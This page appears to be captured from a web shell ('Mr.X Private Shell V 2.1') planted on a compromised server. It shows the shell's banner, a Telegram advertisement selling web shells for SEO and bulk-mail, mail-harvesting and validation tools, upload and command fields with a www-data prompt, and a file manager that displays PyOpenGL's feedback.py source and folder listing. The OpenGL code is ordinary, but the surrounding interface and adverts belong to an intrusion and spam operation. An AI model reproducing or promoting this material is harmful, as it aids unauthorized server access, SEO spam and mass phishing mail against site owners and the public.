__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.30: ~ $
"""Utility module to parse a Feedback buffer"""
from OpenGL import contextdata
from OpenGL.GL.VERSION import GL_1_1 as _simple

def parseFeedback( buffer, entryCount ):
    """Parse the feedback buffer into Python object records"""
    bufferIndex = 0
    result = []
    getVertex = createGetVertex( )
    while bufferIndex < entryCount:
        token = int(buffer[bufferIndex])
        bufferIndex += 1
        if token in SINGLE_VERTEX_TOKENS:
            vData, bufferIndex = getVertex( buffer, bufferIndex )
            result.append( (SINGLE_VERTEX_TOKENS.get(token), Vertex(*vData)) )
        elif token in DOUBLE_VERTEX_TOKENS:
            vData, bufferIndex = getVertex( buffer, bufferIndex )
            vData2, bufferIndex = getVertex( buffer, bufferIndex )
            result.append( (
                DOUBLE_VERTEX_TOKENS.get(token), 
                Vertex(*vData),
                Vertex(*vData2),
            ) )
        elif token == _simple.GL_PASS_THROUGH_TOKEN:
            result.append( (_simple.GL_PASS_THROUGH_TOKEN, buffer[bufferIndex]))
            bufferIndex += 1
        elif token == _simple.GL_POLYGON_TOKEN:
            temp = [_simple.GL_POLYGON_TOKEN]
            count = int(buffer[bufferIndex])
            bufferIndex += 1
            for item in range(count):
                vData,bufferIndex = getVertex( buffer, bufferIndex )
                temp.append( Vertex(*vData))
            result.append( tuple(temp))
        else:
            raise ValueError( 
                """Unrecognised token %r in feedback stream"""%(token,)
            )
    return result

SINGLE_VERTEX_TOKENS = {
    _simple.GL_BITMAP_TOKEN: _simple.GL_BITMAP_TOKEN,
    _simple.GL_COPY_PIXEL_TOKEN: _simple.GL_COPY_PIXEL_TOKEN,
    _simple.GL_DRAW_PIXEL_TOKEN: _simple.GL_DRAW_PIXEL_TOKEN,
    _simple.GL_POINT_TOKEN: _simple.GL_POINT_TOKEN,
}
DOUBLE_VERTEX_TOKENS = {
    _simple.GL_LINE_TOKEN: _simple.GL_LINE_TOKEN,
    _simple.GL_LINE_RESET_TOKEN: _simple.GL_LINE_RESET_TOKEN,
}
class Vertex( object ):
    """Simplistic holder for vertex data from a feedback buffer"""
    __slots__ = ('vertex','color','texture')
    def __init__( self, vertex,color=None,texture=None):
        """Store values for access"""
        self.vertex = vertex 
        self.color = color 
        self.texture = texture 
def createGetVertex( ):
    mode = contextdata.getValue( "GL_FEEDBACK_BUFFER_TYPE" )
    indexMode = _simple.glGetBooleanv( _simple.GL_INDEX_MODE )
    colorSize = [ 4,1 ][ int(indexMode) ]
    if mode in (_simple.GL_2D,_simple.GL_3D):
        if mode == _simple.GL_2D:
            size = 2
        else:
            size = 3
        def getVertex( buffer, bufferIndex ):
            end = bufferIndex+size
            return (buffer[bufferIndex:end],None,None),end 
    elif mode == _simple.GL_3D_COLOR:
        def getVertex( buffer, bufferIndex ):
            end = bufferIndex+3
            colorEnd = end + colorSize
            return (buffer[bufferIndex:end],buffer[end:colorEnd],None),colorEnd 
    else:
        if mode == _simple.GL_3D_COLOR_TEXTURE:
            size = 3
        else:
            size = 4
        def getVertex( buffer, bufferIndex ):
            end = bufferIndex+size
            colorEnd = end + colorSize
            textureEnd = colorEnd + 4
            return (buffer[bufferIndex:end],buffer[end:colorEnd],buffer[colorEnd:textureEnd]),textureEnd
    return getVertex

Filemanager

Name Type Size Permission Actions
AMD Folder 0755
ANGLE Folder 0755
APPLE Folder 0755
ARB Folder 0755
ARM Folder 0755
ATI Folder 0755
DFX Folder 0755
DMP Folder 0755
EXT Folder 0755
FJ Folder 0755
GREMEDY Folder 0755
HP Folder 0755
IBM Folder 0755
IMG Folder 0755
INGR Folder 0755
INTEL Folder 0755
KHR Folder 0755
MESA Folder 0755
MESAX Folder 0755
NV Folder 0755
NVX Folder 0755
OES Folder 0755
OML Folder 0755
OVR Folder 0755
PGI Folder 0755
QCOM Folder 0755
REND Folder 0755
S3 Folder 0755
SGI Folder 0755
SGIS Folder 0755
SGIX Folder 0755
SUN Folder 0755
SUNX Folder 0755
VERSION Folder 0755
VIV Folder 0755
WIN Folder 0755
__pycache__ Folder 0755
__init__.py File 1.46 KB 0644
exceptional.py File 8.31 KB 0644
feedback.py File 3.34 KB 0644
framebufferobjects.py File 2.91 KB 0644
glget.py File 710 B 0644
images.py File 20.96 KB 0644
pointers.py File 13.95 KB 0644
selection.py File 2.33 KB 0644
shaders.py File 8.78 KB 0644
vboimplementation.py File 694 B 0644
Filemanager